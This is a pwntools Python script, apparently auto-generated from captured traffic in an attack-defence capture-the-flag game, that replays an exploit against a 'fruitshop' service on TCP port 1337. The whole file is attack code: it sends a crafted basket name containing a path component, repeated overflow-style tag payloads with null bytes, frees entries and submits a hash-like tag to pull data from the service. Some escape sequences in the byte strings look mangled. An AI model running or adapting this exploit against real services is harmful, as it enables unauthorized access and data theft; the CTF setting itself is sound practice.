Notes

#!/usr/bin/env python3
# Filename: replay-fruitshop-1337-1022378287676128.py
import json
import os
import random

from pwn import *

"""
This file was generated from network capture towards 10.42.1.6 (TCP).
Corresponding flow id: 1022378287676128
Service: fruitshop-1337
"""

# Set logging level
context.log_level = "DEBUG" # or INFO, WARNING, ERROR

# Load arguments
# EXTRA is an array of the flagids for current service and team
if len(sys.argv) < 2:
print(f'Usage: {sys.argv[0]} <target> [flag_id]')
sys.exit(1)
HOST = sys.argv[1]
if len(sys.argv) > 2:
EXTRA = json.loads(bytes.fromhex(sys.argv[2]).decode())
else:
EXTRA = []

# Connect to remote and run the actual exploit
# Timeout is important to prevent stall
r = remote(HOST, 1337, typ="tcp", timeout=2)

# SNIPPET: Generate uniformly random strings of length `k`
# rand_choice = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
# value = "".join(random.choices(rand_choice, k=16))

# FIXME: You should identify if a flag_id was used in the following
# payload. If it is the case, then you should loop using EXTRA.
# for flag_id in EXTRA:
data = r.recvuntil(b' want to enter: ')
r.sendline(b'88')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'1')
data = r.recvuntil(b'ame of basket : ')
r.sendline(b'%#%#/storeroom-88')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'3')
data = r.recvuntil(b'5.Grapesnx1b[0m>> ')
r.sendline(b'1')
data = r.recvuntil(b'r size of tag : ')
r.sendline(b'32')
data = r.recvuntil(b' tag of Fruit : ')
r.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA1x00x00x00x00x00x00x00')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'3')
data = r.recvuntil(b'5.Grapesnx1b[0m>> ')
r.sendline(b'2')
data = r.recvuntil(b'r size of tag : ')
r.sendline(b'32')
data = r.recvuntil(b' tag of Fruit : ')
r.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA1x00x00x00x00x00x00x00')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'3')
data = r.recvuntil(b'5.Grapesnx1b[0m>> ')
r.sendline(b'3')
data = r.recvuntil(b'r size of tag : ')
r.sendline(b'32')
data = r.recvuntil(b' tag of Fruit : ')
r.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA1x00x00x00x00x00x00x00')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'4')
data = r.recvuntil(b' the fruit id : ')
r.sendline(b'0')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'4')
data = r.recvuntil(b' the fruit id : ')
r.sendline(b'2')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'6')
data = r.recvuntil(b'Basket tag : ')
r.sendline(b'281da39ee81a335582b682c4f4bf55eac025696d06ec735a67c2bcf5682f670c-9fdf98a8f2')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'2')
data = r.recvuntil(b' Error: Successn')

# Use the following to capture all remaining bytes:
# data = r.recvall(timeout=5)
# print(data, flush=True)

r.close()